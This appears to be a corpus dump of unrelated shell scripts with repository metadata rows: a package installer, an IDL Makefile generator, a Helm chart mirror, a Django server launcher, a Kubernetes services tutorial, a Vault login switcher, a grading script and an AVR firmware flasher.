"rpm") # Red Hat rpm
ext=$ext1
echo "$ext1 file found"
check_option "2"
;;
"slp") # Stampede slp
ext=$ext1
echo "$ext1 file found"
check_option "2"
;;
"pkg") # Solaris pkg
ext=$ext1
echo "$ext1 file found"
check_option "2"
;; #Stampede slp
*)
echo "File format '$ext1' not recognised"
ext="FAILED"
;;
esac
else
ext="FAILED"
exit
fi
}
install_software(){
case $option in
"1")
# Install from source"
echo "Installing from source, to do this these packages need to be installed:"
echo "build-essential"
echo "checkinstall "
read -p "do you wish to continue (y/n)?" -n 1 -r
echo ""
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
exit 1
fi
check_if_installed "build-essential"
check_if_installed "checkinstall"
cd $installation_target
# Check if folder is there or create it with the right permission
if [[ ! -d "$installation_target/source_code" ]]; then
mkdir "$installation_target/source_code"
chmod -R 777 "$installation_target/source_code"
fi
tar -xf $path_to_package_file -C "$installation_target/source_code" &&
foldername=$(ls "$installation_target/source_code" | grep "${my_ext[0]}")
cd "$installation_target/source_code/$foldername"
# try to build
./configure
if [[ $? -eq 0 ]]; then
echo "configuration successful"
make
if [[ $? -eq 0 ]]; then
echo "make successful"
checkinstall
else
error_status="make failed."
fi
else
error_status="config failed."
fi
#or should we use:
#error_status=$(checkinstall 2>&1)
check_installation_status
;;
"2")
# Install via dpkg or rpm"
echo "Installing via alien"
echo "installing ${PACKAGE_FOR_INSTALL}"
check_if_installed "alien"
alien -i $path_to_package_file
if [[ ! $? -eq 0 ]]; then
echo "installing failed"
install_dependencies
fi
;;
esac
}
install_package() {
echo "Installing Package"
if [[ $ext != "FAILED" ]]; then
echo "for Operating System : $Operating_System $Version $arch"
case $option in
"1")
echo "Preparing to install from source $path_to_package_file"
;;
"2")
echo "Preparing to install from package $path_to_package_file"
;;
esac
if [[ $Operating_System == "Ubuntu" ]]; then
install_software
else
echo "$Operating_System is not official supported"
echo "¯\_(ツ)_/¯"
read -p "do you wish to continue (y/n)?" -n 1 -r
echo ""
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
exit 1
fi
echo "Good Luck o7"
install_software
fi
else
echo "¯\_(ツ)_/¯"
fi
}
check_installation_status() {
echo "Status for installation"
if [[ $error_status != "" ]]; then
echo "the following error was detected"
echo "$error_status"
exit 1
fi
}
install_dependencies() {
apt-cache showpkg ${PACKAGE_FOR_INSTALL}
echo "You need to install these packages to install ${PACKAGE_FOR_INSTALL}"
echo "Do you want to install this package before reinstalling ${PACKAGE_FOR_INSTALL}"
read -p "y/n?" -n 1 -r
echo ""
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
error_status="alien failed to install package."
else
apt-get install -f -y
fi
}
check_if_installed(){
installed="$(apt list --installed | grep $1)"
if [[ $installed == "" ]]; then
apt-get install -yqq $1
if [[ ! $? -eq 0 ]]; then
error_status="installing $1 failed"
check_installation_status
fi
else
echo "$1 is installed"
fi
}
delta_force() {
check_if_installed "sl"
sl -F
}
main() {
if [[ ${a_flag} == 'true' ]]; then
PACKAGE_FOR_INSTALL="Automatic_Install"
option='x'
LINK_TO_PACKAGE=${LINK_INPUT}
else
menu
fi
check_permissions $installation_target
download_package
check_file_type
install_package
delta_force
}
# test rpm
# https://nmap.org/dist/nmap-7.91-1.x86_64.rpm
# test deb and dependencies
# http://archive.ubuntu.com/ubuntu/pool/main/s/samba/samba_4.11.6+dfsg-0ubuntu1_amd64.deb
# source code
# https://nmap.org/dist/nmap-7.91.tar.bz2
main
| true |
accebdf4adcaa8f70b1d7645812fd867813ce4cc | Shell | rssh/UAKGQuery | /tools/idl_depend | UTF-8 | 13,793 | 3.171875 | 3 | [] | no_license | #!/bin/sh
#
# idl_depend.
# Tool for generating dependences from idl
# (C) Ruslan Shevchenko <Ruslan@Shevchenko.Kiev.UA>, 1998 - 2009
#
###########################################################
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. All advertising materials mentioning features or use of this software
# must display the following acknowledgement:
# This product includes software developed by Ruslan Shevchenko,
# Ukraine, Kiev and his contributors.
# 4. Neither the name of the original author nor the names of his contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
###########################################################
usage()
{
echo "idl_depend, "
echo "Usage: idl_depend [options]"
echo " where options:"
echo " --idl_dir directory_where_you_store_idl_files"
echo " --idl_file file_to_process"
echo " --extra_idl_flag flags_which_you_want_pass_to_idl "
echo " --var_prefix prefix_of_make_varibales"
echo " --h_dir directory_where_generated_header_files_must_be"
echo " --cpp_dir directory_where_generated_cpp_files_must_be"
echo " --obj_dir directory_where_generated_object_files_must_be"
echo " --cln_h_suffix suffix for generated client headers (default: .h)"
echo " --cln_h1_suffix suffix for second generated client headers "
echo " (default: no)"
echo " --cln_cpp_suffix suffix for generated client cpp (default: .cpp)"
echo " --cln_obj_suffix suffix for generated client objs (default: .o)"
echo " --srv_h_suffix suffix for generated skeleton headers (default: _skel.h)"
echo " --srv_h1_suffix suffix for second generated skeleton headers "
echo " (default: no.h)"
echo " --srv_cpp_suffix suffix for generated skeleton cxx sources "
echo " (default: _skel.cpp)"
echo " --srv_cpp_suffix suffix for generated skeleton object files "
echo " (default: _skel.o)"
echo " --tie_h_suffix suffix for generated tie skeleton headers "
echo " (default: _skel_tie.h)"
echo " --tie_h1_suffix second suffix for generated tie skeleton headers "
echo " (default: no)"
echo " --tie_cpp_suffix suffix for generated tie skeleton sources "
echo " (default: no)"
echo " --absolute-path : use absolute patch names"
echo " --additive-vars : do not set make variables to empty initial variable"
echo " --version : show version"
echo " --verbose : show debug information in stderr"
echo " --cxxcompile : use \$(CXXCOMPILE) instead \$(CXX) \$(CXXFLAGS)"
echo " --sgi-make : do not use += in generated Makefile "
}
IDL_DIR=
IDLS=
VAR_PREFIX=
H_DIR=
EXTRA_IDLFLAGS=
CLN_H_SUFFIX=.h
CLN_H_BEFREDOT_SUFFIX=
CLN_H_EXT=h
CLN_H1_SUFFIX=.h
CLN_CPP_SUFFIX=.cpp
CLN_OBJ_SUFFIX=.o
SRV_H_SUFFIX=_skel.h
SRV_H1_SUFFIX=_skel.h
SRV_CPP_SUFFIX=_skel.cpp
SRV_OBJ_SUFFIX=_skel.o
TIE_H_SUFFIX=_skel_tie.h
TIE_H1_SUFFIX=no
TIE_CPP_SUFFIX=no
while [ "x$*" != "x" ]
do
case $1 in
--idl_dir|--idl-dir)
IDL_DIR=$2
shift
;;
--extra-idl-flags|--extra_idl_flags|--extra-idl-flag|--extra_idl_flag)
EXTRA_IDLFLAGS="$EXTRA_IDLFLAGS $2"
shift
;;
--idl_file|--idl-file)
IDLS="$IDLS $2"
shift
;;
--var_prefix|--var-prefix)
VAR_PREFIX=$2
shift
;;
--h_dir|--h-dir)
H_DIR=$2;
shift
;;
--cpp_dir|--cpp-dir)
CPP_DIR=$2;
shift
;;
--obj_dir|--obj-dir)
OBJ_DIR=$2;
shift
;;
--cln_h_suffix|--cln-h-suffix)
CLN_H_SUFFIX=$2
shift
;;
--cln_h1_suffix|--cln-h1-suffix)
CLN_H1_SUFFIX=$2
shift
;;
--cln_cpp_suffix|--cln-cpp-suffix)
CLN_CPP_SUFFIX=$2
shift
;;
--cln_obj_suffix|--cln-obj-suffix)
CLN_OBJ_SUFFIX=$2
shift
;;
--srv_h_suffix|--srv-h-suffix)
SRV_H_SUFFIX=$2
shift
;;
--srv_h1_suffix|--srv-h1-suffix)
SRV_H1_SUFFIX=$2
shift
;;
--srv_cpp_suffix|--srv-cpp-suffix)
SRV_CPP_SUFFIX=$2
shift
;;
--srv_obj_suffix|--srv-obj-suffix)
SRV_OBJ_SUFFIX=$2
shift
;;
--tie_h_suffix|--tie-h-suffix)
TIE_H_SUFFIX=$2
shift
;;
--tie_h1_suffix|--tie-h1-suffix)
TIE_H1_SUFFIX=$2
shift
;;
--tie_cpp_suffix|--tie-cpp-suffix)
TIE_CPP_SUFFIX=$2
shift
;;
--absolute_path|--absolute-path)
ABSOLUTE=1
;;
--additive_vars|--additive-vars)
ADDITIVE_VARS=1
;;
--cxxcompile)
CXXCOMPILE=1
;;
--sgi-make|--sgi_make)
SGI_MAKE=1
;;
--verbose)
VERBOSE=yes
;;
--version)
echo "idl_depend: makefile generator for idl -> C++ transformation"
echo "(C) Ruslan Shevchenko <Ruslan@Shevchenko.Kiev.UA>, 1998,1999,2000"
echo $Id: idl_depend,v 1.4 2007-02-16 04:45:32 rssh Exp $x
exit
;;
--*)
usage
exit
;;
esac
shift
done
if [ "x$IDLS" = "x" ]
then
if [ "x$IDL_DIR" = "x" ]
then
IDLS="*.idl"
else
IDLS="$IDL_DIR/*.idl"
fi
fi
if [ "x$SGI_MAKE" = "x" ]
then
if [ "x$ADDITIVE_VARS" = "x" ]
then
echo IDL_${VAR_PREFIX}ALL=
fi
else
if [ "x$ADDITIVE_VARS" = "x" ]
then
idl_all_var=
idl_cl_all_objs_var=
idl_skel_all_objs_var=
idl_srv_all_objs_var=
else
echo "options --additive-vars and --sgi-make are incompatible" 1>&2
exit 1
fi
fi
if test "x$VERBOSE" = "xyes"; then
echo IDL_DIR=$IDL_DIR >& 2
echo IDLS=$IDLS >& 2
echo VAR_PREFIX=$VAR_PREFIX >& 2
echo H_DIR=$H_DIR >& 2
echo EXTRA_IDLFLAGS=$EXTRA_IDLFLAGS >& 2
echo CLN_H_SUFFIX=$CLN_H_SUFFIX >& 2
echo CLN_H1_SUFFIX=$CLN_H1_SUFFIX >& 2
echo CLN_CPP_SUFFIX=$CLN_CPP_SUFFIX >& 2
echo CLN_OBJ_SUFFIX=$CLN_OBJ_SUFFIX >& 2
echo SRV_H_SUFFIX=$SRV_H_SUFFIX >& 2
echo SRV_H1_SUFFIX=$SRV_H1_SUFFIX >& 2
echo SRV_CPP_SUFFIX=$SRV_CPP_SUFFIX >& 2
echo SRV_OBJ_SUFFIX=$SRV_OBJ_SUFFIX >& 2
echo TIE_H_SUFFIX=$TIE_H_SUFFIX >& 2
echo TIE_H1_SUFFIX=$TIE_H1_SUFFIX >& 2
echo TIE_CPP_SUFFIX=$TIE_CPP_SUFFIX >& 2
fi
for i in $IDLS
do
TESTEMPTY=`echo $i | sed '/\*/d'`
if [ "x$TESTEMPTY" = "x" ]
then
echo no idl files found.
exit
fi
j=`basename $i .idl`
if [ "x$H_DIR" = "x" ]
then
CL_H=${j}${CLN_H_SUFFIX}
CL_H1=${j}${CLN_H1_SUFFIX}
SKEL_H=${j}${SRV_H_SUFFIX}
SKEL_H1=${j}${SRV_H1_SUFFIX}
TIE_H=${j}${TIE_H_SUFFIX}
TIE_H1=${j}${TIE_H1_SUFFIX}
else
CL_H="${H_DIR}/${j}${CLN_H_SUFFIX}"
CL_H1="${H_DIR}/${j}${CLN_H1_SUFFIX}"
SKEL_H="${H_DIR}/${j}${SRV_H_SUFFIX}"
SKEL_H1="${H_DIR}/${j}${SRV_H1_SUFFIX}"
TIE_H="${H_DIR}/${j}${TIE_H_SUFFIX}"
TIE_H1="${H_DIR}/${j}${TIE_H1_SUFFIX}"
fi
if [ "x$CPP_DIR" = "x" ]
then
CL_CPP=$j${CLN_CPP_SUFFIX}
SKEL_CPP=${j}${SRV_CPP_SUFFIX}
TIE_CPP=${j}${TIE_CPP_SUFFIX}
else
CL_CPP=${CPP_DIR}/$j${CLN_CPP_SUFFIX}
SKEL_CPP=${CPP_DIR}/${j}${SRV_CPP_SUFFIX}
TIE_CPP=${CPP_DIR}/${j}${TIE_CPP_SUFFIX}
fi
if [ "x$OBJ_DIR" = "x" ]
then
CL_OBJ=$j${CLN_OBJ_SUFFIX}
SKEL_OBJ=${j}${SRV_OBJ_SUFFIX}
else
CL_OBJ=${OBJ_DIR}/$j$CLN_OBJ_SUFFIX
SKEL_OBJ=${OBJ_DIR}/${j}${SRV_OBJ_SUFFIX}
fi
CUR_IDL=$i
if [ "x$ABSOLUTE" != "x" ]
then
case $CL_H in
/*)
;;
*)
CL_H=`pwd`/$CL_H
CL_H1=`pwd`/$CL_H1
SKEL_H=`pwd`/$SKEL_H
SKEL_H1=`pwd`/$SKE_H1
TIE_H=`pwd`/$TIE_H
TIE_H1=`pwd`/$TIE_H
;;
esac
case $CL_CPP in
/*)
;;
*)
CL_CPP=`pwd`/$CL_CPP
SKEL_CPP=`pwd`/$SKEL_CPP
TIE_CPP=`pwd`/$TIE_CPP
;;
esac
case $CL_OBJ in
/*)
;;
*)
CL_OBJ=`pwd`/$CL_OBJ
SKEL_OBJ=`pwd`/$SKEL_OBJ
;;
esac
case $CUR_IDL in
/*)
;;
*)
CUR_IDL=`pwd`/$CUR_IDL
;;
esac
fi
if test "x$CL_H" = "x$SKEL_H" ; then
TARGET="$CL_H"
else
TARGET="$CL_H $SKEL_H"
fi
if test "x$CL_CPP" = "x$SKEL_CPP" ; then
TARGET="$TARGET $CL_CPP"
else
TARGET="$TARGET $CL_CPP $SKEL_CPP"
fi
echo "$TARGET: $CUR_IDL"
echo " (BP=\`dirname \$(IDL2CXX)\`;\\"
echo " LP=\$\$BP/../lib;\\"
echo " PATH=\$\$BP:\$\$PATH;\\"
echo " LD_LIBRARY_PATH=\$\$LP:\$\$LD_LIBRARY_PATH;\\"
echo " export LD_LIBRARY_PATH; export PATH;\\"
echo " \$(IDL2CXX) \$(IDLFLAGS) $EXTRA_IDLFLAGS $CUR_IDL;\\"
echo ")"
if [ "x$H_DIR" != "x" ]
then
LOC_CLN_H=$j${CLN_H_SUFFIX}
LOC_CLN_H1=$j${CLN_H1_SUFFIX}
LOC_SRV_H=$j${SRV_H_SUFFIX}
LOC_SRV_H1=$j${SRV_H1_SUFFIX}
LOC_TIE_H=$j${TIE_H_SUFFIX}
LOC_TIE_H1=$j${TIE_H1_SUFFIX}
echo " mv $LOC_CLN_H $CL_H"
if test "x$CLN_H1_SUFFIX" != "xno" ; then
echo "CLN_H1_SUFFIX: mv $LOC_CLN_H1 $CL_H1" >& 2
echo " mv $LOC_CLN_H1 $CL_H1"
fi
if test "x$SRV_H_SUFFIX" != "xno" ; then
if test ! "x$SRV_H_SUFFIX" = "x$CLN_H_SUFFIX" ; then
echo " mv ${j}${SRV_H_SUFFIX} $SKEL_H"
fi
fi
if test "x$SRV_H1_SUFFIX" != "xno" ; then
echo "SRV_H1_SUFFIX mv $LOC_SRV_H1 $SKEL_H1" >& 2
echo " mv $LOC_SRV_H1 $SKEL_H1"
fi
if test "x$TIE_H_SUFFIX" != "xno" ; then
echo " if [ -f ${LOC_TIE_H} ]; then mv ${LOC_TIE_H} $TIE_H; fi"
fi
if test "x$TIE_H1_SUFFIX" != "xno" ; then
echo " if [ -f ${LOC_TIE_H1} ]; then mv ${LOC_TIE_H1} $TIE_H1; fi"
fi
fi
if [ "x$CPP_DIR" != "x" ]
then
LOC_CLN_CPP=$j${CLN_CPP_SUFFIX}
LOC_SRV_CPP=$j${SRV_CPP_SUFFIX}
LOC_TIE_CPP=$j${TIE_CPP_SUFFIX}
echo " mv $LOC_CLN_CPP $CL_CPP"
if test "x$SRV_CPP_SUFFIX" != "xno"; then
if test "x$SRV_CPP_SUFFIX" != "x$CLN_CPP_SUFFIX"; then
echo " mv ${j}${SRV_CPP_SUFFIX} $SKEL_CPP"
fi
fi
if test ! "x$TIE_CPP_SUFFIX" = "xno"; then
echo " if [ -f ${LOC_TIE_CPP} ]; then mv ${LOC_TIE_CPP} $TIE_CPP; fi"
fi
fi
echo
if [ "x$SGI_MAKE" != "x" ]
then
idl_all_var="$idl_all_var $CL_H"
idl_cl_all_objs_var="$idl_cl_all_objs_var $CL_OBJ"
idl_skel_all_objs_var="$idl_skel_all_objs_var $SKEL_OBJ"
if test "x$SKEL_OBJ" = "x$CL_OBJ"
then
idl_srv_all_objs_var="$idl_srv_all_objs_var $SKEL_OBJ"
else
idl_srv_all_objs_var="$idl_srv_all_objs_var $SKEL_OBJ $CL_OBJ"
fi
else
echo IDL_${VAR_PREFIX}ALL += $CL_H
echo IDL_CL_${VAR_PREFIX}ALL_OBJS += $CL_OBJ
echo IDL_SKEL_${VAR_PREFIX}ALL_OBJS += $SKEL_OBJ
if test "x$SKEL_OBJ" = "x$CL_OBJ"
then
echo IDL_SRV_${VAR_PREFIX}ALL_OBJS += $SKEL_OBJ
else
echo IDL_SRV_${VAR_PREFIX}ALL_OBJS += $SKEL_OBJ $CL_OBJ
fi
fi
echo
echo IDL_${VAR_PREFIX}`echo $j | tr [:lower:] [:upper:]`_CL_OBJS=$CL_OBJ
echo IDL_${VAR_PREFIX}`echo $j | tr [:lower:] [:upper:]`_SKEL_OBJS=$SKEL_OBJ
echo IDL_${VAR_PREFIX}`echo $j | tr [:lower:] [:upper:]`_SRV_OBJS=$CL_OBJ $SKEL_OBJ
echo
echo "$CL_OBJ: $CL_CPP"
if test "x$CXXCOMPILE" = x
then
echo " \$(CXX) -c \$(CXXFLAGS) \$(IDLCXXFLAGS) -o $CL_OBJ $CL_CPP"
else
echo " \$(CXXCOMPILE) -c -o $CL_OBJ $CL_CPP"
fi
if test ! "x$SKEL_OBJ" = "x$CL_OBJ"; then
echo "$SKEL_OBJ: $SKEL_CPP"
if test "x$CXXCOMPILE" = "x"
then
echo " \$(CXX) -c \$(CXXFLAGS) \$(IDLCXXFLAGS) -o $SKEL_OBJ $SKEL_CPP"
else
echo " \$(CXXCOMPILE) -c -o $SKEL_OBJ $SKEL_CPP"
fi
fi
echo
done
if [ "x$SGI_MAKE" != "x" ]
then
echo IDL_${VAR_PREFIX}ALL = $idl_all_var
echo IDL_CL_${VAR_PREFIX}ALL_OBJS = $idl_cl_all_objs_var
echo IDL_SKEL_${VAR_PREFIX}ALL_OBJS = $idl_skel_all_objs_var
echo IDL_SRV_${VAR_PREFIX}ALL_OBJS = $idl_srv_all_objs_var
fi
| true |
1866e951fcefc6eae129db8c77d17cd88954e479 | Shell | ibuildthecloud/rancher-charts | /clone.sh | UTF-8 | 1,127 | 3.828125 | 4 | [] | no_license | #!/bin/bash
set -e
URL=https://kubernetes-charts.storage.googleapis.com/index.yaml
mkdir -p charts
cd charts
download_image()
{
HASH=$(echo $ICON | sha256sum - | awk '{print $1}')
if [ ! -e images/$HASH ]; then
IMGTMP=$(mktemp)
mkdir -p images
echo Downloading $ICON
curl -sL $ICON > $IMGTMP
mv $IMGTMP images/$HASH
fi
ln -s ../../images/$HASH $TMP/$(basename $ICON)
}
curl -sfL $URL > cached.yaml
while read CHART VERSION DIGEST TGZ ICON; do
FOLDER=${CHART}/${VERSION}
DIGESTFILE=${CHART}/${VERSION}/.${DIGEST}
if [ -f $DIGESTFILE ]; then
continue
fi
rm -rf $FOLDER
mkdir -p $FOLDER
touch $DIGESTFILE
TMP=$(mktemp -d -p .)
trap "rm -rf $TMP" exit
echo Downloading $TGZ
curl -sfL $TGZ | tar xzf - -C $TMP
if [ -n "$ICON" ] && [ "$ICON" != "null" ]; then
download_image
fi
mv ${TMP}/${CHART}/* $FOLDER
rm -rf $TMP
done < <(cat cached.yaml | ruby -ryaml -rjson -e 'puts JSON.pretty_generate(YAML.load(ARGF))' | jq -r '.entries[][]|"\(.name) \(.version) \(.digest) \(.urls[0]) \(.icon)"')
| true |
3be722b70d3a774ffbd4d1bdc0c1b5b0b52f0e52 | Shell | kurogane13/Django_Tkinter_Console | /startdjango_server.sh | UTF-8 | 1,203 | 2.828125 | 3 | [] | no_license | echo "############################################"
date
echo "############################################"
echo "SELECT PROJECT TO START THE SERVER FOR IT: "
ls -l -h /home/$USER/DJANGO_PROJECTS/
echo "-------------------------------------------"
underscore="_"
start_djangoserver="start_django_server.sh"
echo "COPY AND PASTE THE PROJECT YOU WANT TO START THE SERVER FROM: "
read selected_project
echo cd /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/ > /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/$selected_project$underscore$start_djangoserver
touch /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/$selected_project$underscore$start_djangoserver
echo "fuser -k 8000/tcp" >> /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/$selected_project$underscore$start_djangoserver
echo "python3 manage.py runserver" >> /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/$selected_project$underscore$start_djangoserver
gnome-terminal -- bash /home/$USER/DJANGO_PROJECTS/$selected_project/$selected_project/$selected_project$underscore$start_djangoserver
sleep 4
sensible-browser http://127.0.0.1:8000/admin/login/?next=/admin/
| true |
8f000845d14cc7e170eb8f15e62d382141a3f62c | Shell | saleem6474/Terraform-On-Azure-With-Kubernetes-AKS-DevOps | /3-Kubernetes/04-Kubernetes-Fundamentals-with-YAML/04-05-Services-with-YAML/README.md.sh | UTF-8 | 2,322 | 3.109375 | 3 | [] | no_license | # Services with YAML
## Step-01: Introduction to Services
- We are going to look in to below two services in detail with a frotnend and backend example
- LoadBalancer Service
- ClusterIP Service
## Step-02: Create Backend Deployment & Cluster IP Service
- Write the Deployment template for backend REST application.
- Write the Cluster IP service template for backend REST application.
- **Important Notes:**
- Name of Cluster IP service should be `name: my-backend-service` because same is configured in frontend nginx reverse proxy `default.conf`.
- Test with different name and understand the issue we face
- We have also discussed about in our section [03-04-Services-with-kubectl](https://github.com/atingupta2005/azure-aks-kubernetes-masterclass/tree/master/03-Kubernetes-Fundamentals-with-kubectl/03-04-Services-with-kubectl)
kubectl get all
kubectl apply -f kube-manifests/01-backend-deployment.yml -f kube-manifests/02-backend-clusterip-service.yml
kubectl get all
## Step-03: Create Frontend Deployment & LoadBalancer Service
- Write the Deployment template for frontend Nginx Application
- Write the LoadBalancer service template for frontend Nginx Application
kubectl get all
kubectl apply -f kube-manifests/03-frontend-deployment.yml -f kube-manifests/04-frontend-LoadBalancer-service.yml
kubectl get all
- **Access REST Application**
# Get Service IP
kubectl get svc
# Access REST Application
curl http://<Load-Balancer-Service-IP>/hello
## Step-04: Delete & Recreate Objects using kubectl apply
### Delete Objects (file by file)
kubectl delete -f kube-manifests/01-backend-deployment.yml -f kube-manifests/02-backend-clusterip-service.yml -f kube-manifests/03-frontend-deployment.yml -f kube-manifests/04-frontend-LoadBalancer-service.yml
kubectl get all
### Recreate Objects using YAML files in a folder
kubectl apply -f kube-manifests/ --validate=false
kubectl get all
### Delete Objects using YAML files in folder
kubectl delete -f kube-manifests/
kubectl get all
## Additional References - Use Label Selectors for get and delete
- [Labels](https://kubernetes.io/docs/concepts/cluster-administration/manage-deployment/#using-labels-effectively)
- [Labels-Selectors](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#label-selectors)
| true |
2c5a30fd0ddb24178493879f3fae1749b64b6305 | Shell | jbbarth/simplelog | /lib/migrate.sh | UTF-8 | 350 | 3.09375 | 3 | [] | no_license | #!/bin/sh
for controller in $(find app/ -name *_controller.rb); do
controller_name=$(echo $controller | ruby -ne 'puts scan(/(\w+)_controller.rb/).delete(/s$/)')
echo "fgrep \"def ${controller_name}_\" $controller"
for method in $(fgrep "def ${controller_name}_" $controller | awk '{print $2}'); do
echo "$controller: $method"
done
done
| true |
df69978f3e82e574b6b19e1cd8acae8c0d08f903 | Shell | lafeldtb/CIS361 | /Project3/part_2/script | UTF-8 | 826 | 4.1875 | 4 | [] | no_license | #! /bin/bash
if [ -z "$1" ]
then
echo "no unzip folder given"
echo "Usage: make folderToUnzip"
exit 2
fi
source=$1
echo "starting..."
# Unzip folder and get new name
unzip -q $source
source="${source%.*}"
# Read in each filename in folder
for file in "$source"/*;
do
set student
set fileName
read student fileName <<< $(gawk -F_ '{printf "%s %s", $2, $5}' <<< "${file}")
mkdir -p "$source"/"$student"
if [ -n "$fileName" ]
then
mv "$file" "$source"/"$student"/"$fileName"
else
mv "$file" "$source"/"$student"/"memo.txt"
fi
done
echo "created folder structure, now testing students..."
report="report"
echo "Running tests for students" > "$report"
for folder in "$source"/*
do
make -f ../../makefile -C "$folder" >> "$report"
make test -f ../../makefile -C "$folder" >> "$report"
done
echo "done"
| true |
98c3a70799ab13a609780b7bbd5756481e345764 | Shell | ifpb/competitive-programming | /contest/obi/match.sh | UTF-8 | 1,999 | 3.84375 | 4 | [] | no_license | #!/bin/bash
# input/output obi matching script
function program_info {
filename=$(basename "$program_file")
program_extension="${filename##*.}"
program_filename="${filename%.*}"
}
function get_path_and_filename {
path_and_filename=$(echo "$1" | cut -f 1,2 -d '.')
}
function select_runner {
case $program_extension in
js)
runner="node $program_file"
;;
py3)
runner="python3 $program_file"
;;
py2)
runner="python $program_file"
;;
cpp)
g++ -o $program_filename $program_file
runner="./${program_filename}"
;;
c)
gcc -o $program_filename $program_file
runner="./${program_filename}"
;;
java)
javac $program_file
runner="java ${program_filename%-*}"
;;
pas)
fpc $program_file
runner="./${program_filename}"
;;
esac
}
function is_diff {
cat <<EOM
$runner < $input
#input $1
$(cat $1)
# expected $2
$(cat $2)
# actual
$3
EOM
}
program_file=$1
test_cases=$2
program_info
select_runner
for input in $(find $test_cases -type f -name "*.in"); do
get_path_and_filename $input
output="${path_and_filename}.sol"
# echo "$runner < $input"
response=$($runner < $input)
# response=$($runner < $input > response.sol)
DIFF=$(diff $output <(echo $response))
if [ "$DIFF" != "" ]; then
is_diff $input $output $response
exit
fi
done
# if [ "$program_extension" == "c" ]; then
# rm $program_filename
# elif [ "$program_extension" == "cpp" ]; then
# rm $program_filename
# elif [ "$program_extension" == "java" ]; then
# rm ${program_filename%-*}
# fi
echo "solved!"
| true |
11cc704f28002c69f0ef77c8721dbf625997ece5 | Shell | ev1lm0nk3y/rc_files | /vault_switch.sh | UTF-8 | 635 | 3.078125 | 3 | [] | no_license | export DEV_TOKEN=$(cat ~/.config/vault/token)
dev_vault() {
export VAULT_ADDR=https://dev-vault.clearme.com
export VAULT_TOKEN="${DEV_TOKEN}"
check_token=$(vault print token)
if [ "${check_token}" != "${DEV_TOKEN}" ]; then
vault login
echo "You are now authenticated to dev vault"
fi
}
prod_vault() {
export VAULT_ADDR=https://vault.clearme.com
export VAULT_TOKEN=$(curl --header "X-Vault-Token: ${DEV_TOKEN}" \
--request POST \
--data @~/.config/vault/wrapped_payload.json \
https://dev-vault.clearme.com/ui/vault/tools/unwrap | jq '.data.prod')
vault login
}
| true |
d10b52c54fe926708bf249a40c5198237c87cafc | Shell | BroderPeters/dotfiles | /dot_config/i3/blocklets/executable_wifitoggle | UTF-8 | 375 | 3.15625 | 3 | [] | no_license | #!/bin/bash
NETWORKSTATUS=""
#WIFISTATUS="$(nmcli radio wifi)"
ACTIVECONNECTIONS=( $(nmcli -f type connection show --active ) )
for CONNECTION in ${ACTIVECONNECTIONS[@]}; do
case $CONNECTION in
"wifi")
NETWORKSTATUS=$NETWORKSTATUS" "
;;
"ethernet")
NETWORKSTATUS=$NETWORKSTATUS" "
;;
esac
done
echo $NETWORKSTATUS
| true |
16316327d9d044962e2d2c99e34330757963cf0c | Shell | Jim-Walk/Parallel-Design-Patterns | /practical-three/f/subpipeline.pbs | UTF-8 | 902 | 2.953125 | 3 | [] | no_license | #!/bin/bash --login
# PBS job options (name, compute nodes, job time)
#PBS -N pollutionprac
#PBS -l select=1:ncpus=36
#PBS -l place=scatter:excl
#PBS -l walltime=00:20:00
#PBS -A d167
# Change to the directory that the job was submitted from
cd $PBS_O_WORKDIR
# Load any required modules
module load mpt
module load intel-compilers-18
# Set the number of threads to 1
# This prevents any threaded system libraries from automatically
# using threading.
export OMP_NUM_THREADS=1
# There are thirty input files, this is a helper loop to build up the input string passing each file into the pipeline
# For testing runs you can reduce this number by reducing the 30, i.e. seq 1 1 will only include one input file to the pipeline
inputfiles=""
for i in `seq 1 30`;
do
inputfiles+="../data/input_$i "
done
# Launch the parallel job
mpiexec_mpt -n 5 -ppn 5 ./pipeline 128 1024 3e-3 0 $inputfiles | true |
3bfa74750dc4e2dbc6115ddc2863ad76e3323ae5 | Shell | ninjasphere/sphere-go-led-controller | /firmware/v2-mega328/write_sphere.sh | UTF-8 | 1,532 | 2.890625 | 3 | [
"MIT"
] | permissive | #!/bin/sh
# callers can set SKIP_SERVICE_CONTROL to true to skip service control, but by default, we do it
# if true, caller has already arranged for services to be stopped
SKIP_SERVICE_CONTROL=${SKIP_SERVICE_CONTROL:-false}
$SKIP_SERVICE_CONTROL || stop sphere-leds || true
$SKIP_SERVICE_CONTROL || stop devkit-status-led || true
AVR_CONFIG_OVERRIDE=${AVR_CONFIG_OVERRIDE:--C avrduderc}
if test -e /sys/kernel/debug/omap_mux/gpmc_a0; then
# not required for 3.12
echo 7 > /sys/kernel/debug/omap_mux/gpmc_a0 && # RST
